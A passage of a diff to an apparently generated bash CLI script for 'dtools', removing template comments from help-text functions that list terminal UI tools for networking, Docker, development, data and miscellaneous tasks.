dtools_tui_network_monitoring_netscanner_usage() { fi } -# :command.usage dtools_tui_network_usage() { printf "dtools tui network - TUIs for various network tools\n\n" @@ -3283,7 +2812,7 @@ dtools_tui_network_usage() { printf " dtools tui network COMMAND\n" printf " dtools tui network [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s TUI application for interacting with NetworkManager (nmtui)\n" "$(green "network-manager") " printf " %s TUI-based bluetooth connection manager (bluetuith)\n" "$(green "bluetooth-manager") " @@ -3303,12 +2832,10 @@ dtools_tui_network_usage() { printf " %s A simple API client (Postman-like) (atac)\n" "$(green "api-client") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3316,7 +2843,6 @@ dtools_tui_network_usage() { fi } -# :command.usage dtools_tui_network_network_manager_usage() { printf "dtools tui network network-manager - TUI application for interacting with NetworkManager (nmtui)\n\n" @@ -3325,12 +2851,10 @@ dtools_tui_network_network_manager_usage() { printf " dtools tui network network-manager --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3338,7 +2862,6 @@ dtools_tui_network_network_manager_usage() { fi } -# :command.usage dtools_tui_network_bluetooth_manager_usage() { printf "dtools tui network bluetooth-manager - TUI-based bluetooth connection manager (bluetuith)\n\n" @@ -3347,12 +2870,10 @@ dtools_tui_network_bluetooth_manager_usage() { printf " dtools tui network bluetooth-manager --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3360,7 +2881,6 @@ dtools_tui_network_bluetooth_manager_usage() { fi } -# :command.usage dtools_tui_network_wireguard_config_usage() { printf "dtools tui network wireguard-config - TUI for managing WireGuard configuration files (wg-cmd)\n\n" @@ -3369,12 +2889,10 @@ dtools_tui_network_wireguard_config_usage() { printf " dtools tui network wireguard-config --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3382,7 +2900,6 @@ dtools_tui_network_wireguard_config_usage() { fi } -# :command.usage dtools_tui_network_mitm_proxy_usage() { printf "dtools tui network mitm-proxy - Interactive HTTP(S) proxy (mitmproxy)\n\n" @@ -3391,12 +2908,10 @@ dtools_tui_network_mitm_proxy_usage() { printf " dtools tui network mitm-proxy --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3404,7 +2919,6 @@ dtools_tui_network_mitm_proxy_usage() { fi } -# :command.usage dtools_tui_network_proxy_usage() { printf "dtools tui network proxy - A powerful and flexible proxy CLI for capturing and inspecting HTTP(S) and WS(S) traffic, with TUI and WebUI (proxyfor)\n\n" @@ -3413,12 +2927,10 @@ dtools_tui_network_proxy_usage() { printf " dtools tui network proxy --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3426,7 +2938,6 @@ dtools_tui_network_proxy_usage() { fi } -# :command.usage dtools_tui_network_proxymock_usage() { printf "dtools tui network proxymock - Proxymock watches your app run and automatically creates isolation tests and realistic service mocks—no scripts, no stubs, no flaky envs. (proxymock)\n\n" @@ -3435,12 +2946,10 @@ dtools_tui_network_proxymock_usage() { printf " dtools tui network proxymock --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3448,7 +2957,6 @@ dtools_tui_network_proxymock_usage() { fi } -# :command.usage dtools_tui_network_http_load_generator_usage() { printf "dtools tui network http-load-generator - HTTP load generator and stress tester (oha)\n\n" @@ -3457,12 +2965,10 @@ dtools_tui_network_http_load_generator_usage() { printf " dtools tui network http-load-generator --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3470,7 +2976,6 @@ dtools_tui_network_http_load_generator_usage() { fi } -# :command.usage dtools_tui_network_ping_usage() { printf "dtools tui network ping - Ping but with a graph (gping)\n\n" @@ -3479,12 +2984,10 @@ dtools_tui_network_ping_usage() { printf " dtools tui network ping --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3492,7 +2995,6 @@ dtools_tui_network_ping_usage() { fi } -# :command.usage dtools_tui_network_full_browser_usage() { printf "dtools tui network full-browser - Text based browser with images (browsh)\n\n" @@ -3501,12 +3003,10 @@ dtools_tui_network_full_browser_usage() { printf " dtools tui network full-browser --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3514,7 +3014,6 @@ dtools_tui_network_full_browser_usage() { fi } -# :command.usage dtools_tui_network_elinks_usage() { printf "dtools tui network elinks - WWW text browser (elinks)\n\n" @@ -3523,12 +3022,10 @@ dtools_tui_network_elinks_usage() { printf " dtools tui network elinks --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3536,7 +3033,6 @@ dtools_tui_network_elinks_usage() { fi } -# :command.usage dtools_tui_network_w3m_usage() { printf "dtools tui network w3m - Another text browser that's an alternative to elinks (w3m)\n\n" @@ -3545,12 +3041,10 @@ dtools_tui_network_w3m_usage() { printf " dtools tui network w3m --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3558,7 +3052,6 @@ dtools_tui_network_w3m_usage() { fi } -# :command.usage dtools_tui_network_lynx_usage() { printf "dtools tui network lynx - Yet another text browser that's an alternative to elinks (lynx)\n\n" @@ -3567,12 +3060,10 @@ dtools_tui_network_lynx_usage() { printf " dtools tui network lynx --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3580,7 +3071,6 @@ dtools_tui_network_lynx_usage() { fi } -# :command.usage dtools_tui_network_carbonyl_usage() { printf "dtools tui network carbonyl - A Chromium-based in-terminal web browser (carbonyl)\n\n" @@ -3589,12 +3079,10 @@ dtools_tui_network_carbonyl_usage() { printf " dtools tui network carbonyl --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3602,7 +3090,6 @@ dtools_tui_network_carbonyl_usage() { fi } -# :command.usage dtools_tui_network_http_request_client_usage() { printf "dtools tui network http-request-client - HTTP Request client like Postman (wuzz)\n\n" @@ -3611,12 +3098,10 @@ dtools_tui_network_http_request_client_usage() { printf " dtools tui network http-request-client --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3624,7 +3109,6 @@ dtools_tui_network_http_request_client_usage() { fi } -# :command.usage dtools_tui_network_http_request_client_2_usage() { printf "dtools tui network http-request-client-2 - HTTP request client like Postman or Insomnia (slumber)\n\n" @@ -3633,12 +3117,10 @@ dtools_tui_network_http_request_client_2_usage() { printf " dtools tui network http-request-client-2 --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3646,7 +3128,6 @@ dtools_tui_network_http_request_client_2_usage() { fi } -# :command.usage dtools_tui_network_api_client_usage() { printf "dtools tui network api-client - A simple API client (Postman-like) (atac)\n\n" @@ -3655,12 +3136,10 @@ dtools_tui_network_api_client_usage() { printf " dtools tui network api-client --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3668,7 +3147,6 @@ dtools_tui_network_api_client_usage() { fi } -# :command.usage dtools_tui_docker_usage() { printf "dtools tui docker - TUIs for Docker related tools\n\n" @@ -3676,19 +3154,17 @@ dtools_tui_docker_usage() { printf " dtools tui docker COMMAND\n" printf " dtools tui docker [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Manage local Docker (lazydocker)\n" "$(green "docker") " printf " %s A tool for exploring a docker image, layer contents, and discovering ways to shrink the size of your Docker/OCI image. (dive)\n" "$(green "docker-layer-analyzer")" printf " %s Manage your Kubernetes cluster (k9s)\n" "$(green "kubernetes") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3696,7 +3172,6 @@ dtools_tui_docker_usage() { fi } -# :command.usage dtools_tui_docker_docker_usage() { printf "dtools tui docker docker - Manage local Docker (lazydocker)\n\n" @@ -3705,12 +3180,10 @@ dtools_tui_docker_docker_usage() { printf " dtools tui docker docker --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3718,7 +3191,6 @@ dtools_tui_docker_docker_usage() { fi } -# :command.usage dtools_tui_docker_docker_layer_analyzer_usage() { printf "dtools tui docker docker-layer-analyzer - A tool for exploring a docker image, layer contents, and discovering ways to shrink the size of your Docker/OCI image. (dive)\n\n" @@ -3727,12 +3199,10 @@ dtools_tui_docker_docker_layer_analyzer_usage() { printf " dtools tui docker docker-layer-analyzer --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3740,7 +3210,6 @@ dtools_tui_docker_docker_layer_analyzer_usage() { fi } -# :command.usage dtools_tui_docker_kubernetes_usage() { printf "dtools tui docker kubernetes - Manage your Kubernetes cluster (k9s)\n\n" @@ -3749,12 +3218,10 @@ dtools_tui_docker_kubernetes_usage() { printf " dtools tui docker kubernetes --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3762,7 +3229,6 @@ dtools_tui_docker_kubernetes_usage() { fi } -# :command.usage dtools_tui_development_usage() { printf "dtools tui development - TUIs for development related tools\n\n" @@ -3770,7 +3236,7 @@ dtools_tui_development_usage() { printf " dtools tui development COMMAND\n" printf " dtools tui development [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Fast terminal UI for git (gitui)\n" "$(green "git") " printf " %s Jira terminal UI (jirust)\n" "$(green "jira") " @@ -3789,12 +3255,10 @@ dtools_tui_development_usage() { printf " %s Fast, remote-first, multi-host TUI log viewer with timeline histogram and no central server (nerdlog)\n" "$(green "multi-host-log-viewer")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3802,7 +3266,6 @@ dtools_tui_development_usage() { fi } -# :command.usage dtools_tui_development_git_usage() { printf "dtools tui development git - Fast terminal UI for git (gitui)\n\n" @@ -3811,12 +3274,10 @@ dtools_tui_development_git_usage() { printf " dtools tui development git --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3824,7 +3285,6 @@ dtools_tui_development_git_usage() { fi } -# :command.usage dtools_tui_development_jira_usage() { printf "dtools tui development jira - Jira terminal UI (jirust)\n\n" @@ -3833,12 +3293,10 @@ dtools_tui_development_jira_usage() { printf " dtools tui development jira --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3846,7 +3304,6 @@ dtools_tui_development_jira_usage() { fi } -# :command.usage dtools_tui_development_readme_usage() { printf "dtools tui development readme - Render markdown on the CLI (glow)\n\n" @@ -3855,12 +3312,10 @@ dtools_tui_development_readme_usage() { printf " dtools tui development readme --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3868,7 +3323,6 @@ dtools_tui_development_readme_usage() { fi } -# :command.usage dtools_tui_development_tail_logs_usage() { printf "dtools tui development tail-logs - Log file navigator (lnav)\n\n" @@ -3877,12 +3331,10 @@ dtools_tui_development_tail_logs_usage() { printf " dtools tui development tail-logs --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3890,7 +3342,6 @@ dtools_tui_development_tail_logs_usage() { fi } -# :command.usage dtools_tui_development_drft_usage() { printf "dtools tui development drft - View a git diff file-by-file with a tree viewer (drft)\n\n" @@ -3899,17 +3350,14 @@ dtools_tui_development_drft_usage() { printf " dtools tui development drft --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " git diff | drft\n" echo @@ -3917,7 +3365,6 @@ dtools_tui_development_drft_usage() { fi } -# :command.usage dtools_tui_development_wrkflw_usage() { printf "dtools tui development wrkflw - Validate and execute GitHub workflows locally (wrkflw)\n\n" @@ -3926,12 +3373,10 @@ dtools_tui_development_wrkflw_usage() { printf " dtools tui development wrkflw --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3939,7 +3384,6 @@ dtools_tui_development_wrkflw_usage() { fi } -# :command.usage dtools_tui_development_gama_usage() { printf "dtools tui development gama - Manage your GitHub Actions from the terminal (gama)\n\n" @@ -3948,12 +3392,10 @@ dtools_tui_development_gama_usage() { printf " dtools tui development gama --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3961,7 +3403,6 @@ dtools_tui_development_gama_usage() { fi } -# :command.usage dtools_tui_development_ecs_usage() { printf "dtools tui development ecs - Easily manage AWS ECS resources (e1s)\n\n" @@ -3970,12 +3411,10 @@ dtools_tui_development_ecs_usage() { printf " dtools tui development ecs --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3983,7 +3422,6 @@ dtools_tui_development_ecs_usage() { fi } -# :command.usage dtools_tui_development_openapi_usage() { printf "dtools tui development openapi - A TUI for viewing an OpenAPI spec like Swagger UI (openapi-tui)\n\n" @@ -3992,12 +3430,10 @@ dtools_tui_development_openapi_usage() { printf " dtools tui development openapi --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4005,7 +3441,6 @@ dtools_tui_development_openapi_usage() { fi } -# :command.usage dtools_tui_development_gcs_usage() { printf "dtools tui development gcs - A TUI for browsing Google Cloud Storage (burf)\n\n" @@ -4014,25 +3449,20 @@ dtools_tui_development_gcs_usage() { printf " dtools tui development gcs --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "GCS_URL")" printf " The GCS URL to browse\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " burf gs://prod\n" echo @@ -4040,7 +3470,6 @@ dtools_tui_development_gcs_usage() { fi } -# :command.usage dtools_tui_development_prs_usage() { printf "dtools tui development prs - View GitHub pull requests in a TUI (prs)\n\n" @@ -4049,12 +3478,10 @@ dtools_tui_development_prs_usage() { printf " dtools tui development prs --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4062,7 +3489,6 @@ dtools_tui_development_prs_usage() { fi } -# :command.usage dtools_tui_development_s3_usage() { printf "dtools tui development s3 - TUI explorer application for Amazon S3 (stu)\n\n" @@ -4071,12 +3497,10 @@ dtools_tui_development_s3_usage() { printf " dtools tui development s3 --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4084,7 +3508,6 @@ dtools_tui_development_s3_usage() { fi } -# :command.usage dtools_tui_development_terraform_usage() { printf "dtools tui development terraform - A terraform and terragrunt TUI (pug)\n\n" @@ -4093,18 +3516,14 @@ dtools_tui_development_terraform_usage() { printf " dtools tui development terraform --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--terraform")" printf " Use Terraform instead of Terragrunt\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4112,7 +3531,6 @@ dtools_tui_development_terraform_usage() { fi } -# :command.usage dtools_tui_development_journal_usage() { printf "dtools tui development journal - View and manage systemd journal logs (lazyjournal)\n\n" @@ -4121,12 +3539,10 @@ dtools_tui_development_journal_usage() { printf " dtools tui development journal --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4134,7 +3550,6 @@ dtools_tui_development_journal_usage() { fi } -# :command.usage dtools_tui_development_multi_host_log_viewer_usage() { printf "dtools tui development multi-host-log-viewer - Fast, remote-first, multi-host TUI log viewer with timeline histogram and no central server (nerdlog)\n\n" @@ -4143,12 +3558,10 @@ dtools_tui_development_multi_host_log_viewer_usage() { printf " dtools tui development multi-host-log-viewer --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4156,7 +3569,6 @@ dtools_tui_development_multi_host_log_viewer_usage() { fi } -# :command.usage dtools_tui_dev_help_usage() { printf "dtools tui dev-help - TUIs for helping devs get help or solve problems\n\n" @@ -4164,18 +3576,16 @@ dtools_tui_dev_help_usage() { printf " dtools tui dev-help COMMAND\n" printf " dtools tui dev-help [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s StackOverflow Query Engine (so)\n" "$(green "stack-overflow")" printf " %s Wikipedia TUI (wiki-tui)\n" "$(green "wiki") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4183,7 +3593,6 @@ dtools_tui_dev_help_usage() { fi } -# :command.usage dtools_tui_dev_help_stack_overflow_usage() { printf "dtools tui dev-help stack-overflow - StackOverflow Query Engine (so)\n\n" @@ -4192,12 +3601,10 @@ dtools_tui_dev_help_stack_overflow_usage() { printf " dtools tui dev-help stack-overflow --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4205,7 +3612,6 @@ dtools_tui_dev_help_stack_overflow_usage() { fi } -# :command.usage dtools_tui_dev_help_wiki_usage() { printf "dtools tui dev-help wiki - Wikipedia TUI (wiki-tui)\n\n" @@ -4214,12 +3620,10 @@ dtools_tui_dev_help_wiki_usage() { printf " dtools tui dev-help wiki --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4227,7 +3631,6 @@ dtools_tui_dev_help_wiki_usage() { fi } -# :command.usage dtools_tui_data_usage() { printf "dtools tui data - TUIs to query or analyze data\n\n" @@ -4235,7 +3638,7 @@ dtools_tui_data_usage() { printf " dtools tui data COMMAND\n" printf " dtools tui data [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Database management (gobang)\n" "$(green "db") " printf " %s A terminal interface for exploring and arranging tabular data. (visidata)\n" "$(green "explorer") " @@ -4244,12 +3647,10 @@ dtools_tui_data_usage() { printf " %s Jupyter Notebook in your terminal. (euporie-notebook, euporie-preview, and euporie-console)\n" "$(green "jupyter-notebook")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4257,7 +3658,6 @@ dtools_tui_data_usage() { fi } -# :command.usage dtools_tui_data_db_usage() { printf "dtools tui data db - Database management (gobang)\n\n" @@ -4266,12 +3666,10 @@ dtools_tui_data_db_usage() { printf " dtools tui data db --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4279,7 +3677,6 @@ dtools_tui_data_db_usage() { fi } -# :command.usage dtools_tui_data_explorer_usage() { printf "dtools tui data explorer - A terminal interface for exploring and arranging tabular data. (visidata)\n\n" @@ -4288,12 +3685,10 @@ dtools_tui_data_explorer_usage() { printf " dtools tui data explorer --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4301,7 +3696,6 @@ dtools_tui_data_explorer_usage() { fi } -# :command.usage dtools_tui_data_database_ide_usage() { printf "dtools tui data database-ide - The SQL IDE for your terminal. (harlequin)\n\n" @@ -4310,12 +3704,10 @@ dtools_tui_data_database_ide_usage() { printf " dtools tui data database-ide --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4323,7 +3715,6 @@ dtools_tui_data_database_ide_usage() { fi } -# :command.usage dtools_tui_data_kafka_usage() { printf "dtools tui data kafka - A Kafka cluster query IDE (yozefu)\n\n" @@ -4332,12 +3723,10 @@ dtools_tui_data_kafka_usage() { printf " dtools tui data kafka --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4345,7 +3734,6 @@ dtools_tui_data_kafka_usage() { fi } -# :command.usage dtools_tui_data_jupyter_notebook_usage() { printf "dtools tui data jupyter-notebook - Jupyter Notebook in your terminal. (euporie-notebook, euporie-preview, and euporie-console)\n\n" @@ -4354,12 +3742,10 @@ dtools_tui_data_jupyter_notebook_usage() { printf " dtools tui data jupyter-notebook --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4367,7 +3753,6 @@ dtools_tui_data_jupyter_notebook_usage() { fi } -# :command.usage dtools_tui_misc_usage() { printf "dtools tui misc - TUIs for miscellaneous things\n\n" @@ -4375,7 +3760,7 @@ dtools_tui_misc_usage() { printf " dtools tui misc COMMAND\n" printf " dtools tui misc [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Terminal-based Joplin client for notes (joplin)\n" "$(green "notes") " printf " %s Terminal-based presentations using Pandoc (patat)\n" "$(green "presentation") " @@ -4397,12 +3782,10 @@ dtools_tui_misc_usage() { printf " %s A TUI and CLI for managing *arr servers (managarr)\n" "$(green "servarr") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4410,7 +3793,6 @@ dtools_tui_misc_usage() { fi } -# :command.usage dtools_tui_misc_notes_usage() { printf "dtools tui misc notes - Terminal-based Joplin client for notes (joplin)\n\n" @@ -4419,12 +3801,10 @@ dtools_tui_misc_notes_usage() { printf " dtools tui misc notes --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4432,7 +3812,6 @@ dtools_tui_misc_notes_usage() { fi } -# :command.usage dtools_tui_misc_presentation_usage() { printf "dtools tui misc presentation - Terminal-based presentations using Pandoc (patat)\n\n" @@ -4441,12 +3820,10 @@ dtools_tui_misc_presentation_usage() { printf " dtools tui misc presentation --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4454,7 +3831,6 @@ dtools_tui_misc_presentation_usage() { fi } -# :command.usage dtools_tui_misc_dev_chat_usage() { printf "dtools tui misc dev-chat - A custom SSH server that takes you to a chat instead of a shell prompt (ssh nickname@devzat.hackclub.com)\n\n" @@ -4463,20 +3839,16 @@ dtools_tui_misc_dev_chat_usage() { printf " dtools tui misc dev-chat --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "NICKNAME")" printf " Nickname to use when joining the chat\n" echo @@ -4484,7 +3856,6 @@ dtools_tui_misc_dev_chat_usage() { fi } -# :command.usage dtools_tui_misc_file_manager_usage() { printf "dtools tui misc file-manager - Terminal file manager (nnn)\n\n" @@ -4493,12 +3864,10 @@ dtools_tui_misc_file_manager_usage() { printf " dtools tui misc file-manager --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4506,7 